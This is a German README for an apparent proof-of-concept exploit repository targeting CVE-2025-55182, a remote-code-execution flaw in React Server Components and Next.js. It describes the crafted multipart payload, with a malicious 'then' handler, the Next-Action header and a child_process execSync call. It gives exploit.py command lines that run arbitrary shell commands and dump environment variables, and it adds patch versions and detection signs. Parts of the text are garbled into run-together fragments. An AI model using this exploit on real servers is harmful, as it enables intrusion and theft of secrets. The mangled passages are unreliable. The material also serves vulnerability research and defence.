
POC für React2Shell (CVE-2025-55182)
Dieses Repository enthält einen Proof of Concept für CVE-2025-55182, eine kritische Schwachstelle zur Remote-Code-Ausführung in React Server Components. Es ist ausschließlich für autorisierte Sicherheitstests und Forschungszwecke bestimmt.
React:
Next.js:
Die Schwachstelle nutzt unsichere Deserialisierung im Flight-Protokoll der React Server Components aus. Wenn ein Server eine speziell präparierte Nutzlast empfängt, wird die Struktur vor der Deserialisierung nicht ordnungsgemäß validiert, sodass vom Angreifer kontrollierte Daten die serverseitige Ausführung manipulieren können.
then-Methodeprocess.mainModule.require('child_process') ausgeführtnpm install
npm run dev
Der Server startet unter http://localhost:3000
app/
├── page.js # Main page with ServerForm
├── ServerForm.js # Client component with form
├── actions.js # Vulnerable Server Action
└── layout.js # Root layout
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target: Ziel-URL (erforderlich)-c, --command: Auszuführender Shell-Befehl (Standard: id)--check-only: Nur prüfen, ob das Ziel angreifbar erscheintPrüfen, ob das Ziel anfällig ist:
python3 exploit.py -t http://localhost:3000 --check-only
Beliebige Befehle ausführen:
# Get user info
python3 exploit.py -t http://localhost:3000 -c "id"
# List files
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# Create a file as POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# Read environment variables
python3 exploit.py -t http://localhost:3000 -c "env"
Der Exploit verwendet Multipart-Formulardaten mit:
Feld "0": Schädliches JSON mit benutzerdefiniertem 'then'-Handler
Feld "1": Referenz auf Feld 0 ($@0)
Header: Next-Action: x (löst RSC-Verarbeitung aus)
Die Nutzlast manipuliert das interne _response-Objekt, um Folgendes auszuführen:
process.mainModule.require('child_process').execSync('<command>')
React aktualisieren:
npm install [email protected] [email protected]
Next.js aktualisieren:
npm install [email protected] # oder neueste gepatchte Version
Next-Action-Header$@-Referenzenthen-Eigenschaften in AnfragekörpernPOST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...containing {"then":"$@
Dieser Proof of Concept wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch dieser Informationen.
NICHT:
MIT-Lizenz - Nur für Sicherheitsforschungszwecke